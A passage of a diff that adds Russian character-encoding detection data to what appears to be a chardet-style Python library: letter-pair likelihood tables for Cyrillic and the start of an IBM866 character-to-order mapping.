+ 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 3, # 'и' + 23: 3, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 2, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 2, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 15: { # 'п' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 3, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 0, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 3, # 'я' + }, + 9: { # 'р' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 2, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 3, # 'ш' + 29: 2, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 2, # 'э' + 27: 2, # 'ю' + 16: 3, # 'я' + }, + 7: { # 'с' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 1, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 3, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 3, # 'ч' + 25: 2, # 'ш' + 29: 1, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 2, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 6: { # 'т' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 3, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 2, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 2, # 'ш' + 29: 2, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 2, # 'э' + 27: 2, # 'ю' + 16: 3, # 'я' + }, + 14: { # 'у' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 2, # 'и' + 23: 2, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 2, # 'э' + 27: 3, # 'ю' + 16: 2, # 'я' + }, + 39: { # 'ф' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 0, # 'в' + 19: 1, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 2, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 1, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 2, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 26: { # 'х' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 3, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 1, # 'п' + 9: 3, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 1, # 'ч' + 25: 2, # 'ш' + 29: 0, # 'щ' + 54: 1, # 'ъ' + 18: 0, # 'ы' + 17: 1, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 28: { # 'ц' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 1, # 'л' + 12: 1, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 1, # 'т' + 14: 3, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 1, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 1, # 'ь' + 30: 0, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 22: { # 'ч' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 1, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 1, # 'ч' + 25: 2, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 3, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 25: { # 'ш' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 1, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 1, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 3, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 29: { # 'щ' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 1, # 'м' + 5: 2, # 'н' + 1: 1, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 2, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 54: { # 'ъ' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 0, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 1, # 'ю' + 16: 2, # 'я' + }, + 18: { # 'ы' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 2, # 'и' + 23: 3, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 1, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 0, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 2, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 2, # 'я' + }, + 17: { # 'ь' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 3, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 0, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 2, # 'п' + 9: 1, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 0, # 'у' + 39: 2, # 'ф' + 26: 1, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 3, # 'ш' + 29: 2, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 30: { # 'э' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 1, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 1, # 'б' + 10: 1, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 1, # 'е' + 24: 0, # 'ж' + 20: 1, # 'з' + 4: 0, # 'и' + 23: 2, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 0, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 2, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 27: { # 'ю' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 3, # 'б' + 10: 1, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 1, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 1, # 'и' + 23: 1, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 1, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 0, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 2, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 2, # 'ю' + 16: 1, # 'я' + }, + 16: { # 'я' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 2, # 'б' + 10: 3, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 2, # 'и' + 23: 2, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 0, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 1, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 2, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 2, # 'ю' + 16: 2, # 'я' + }, +} + +# 255: Undefined characters that did not exist in training text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 +# 251: Control characters + +# Character Mapping Table(s): +IBM866_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # 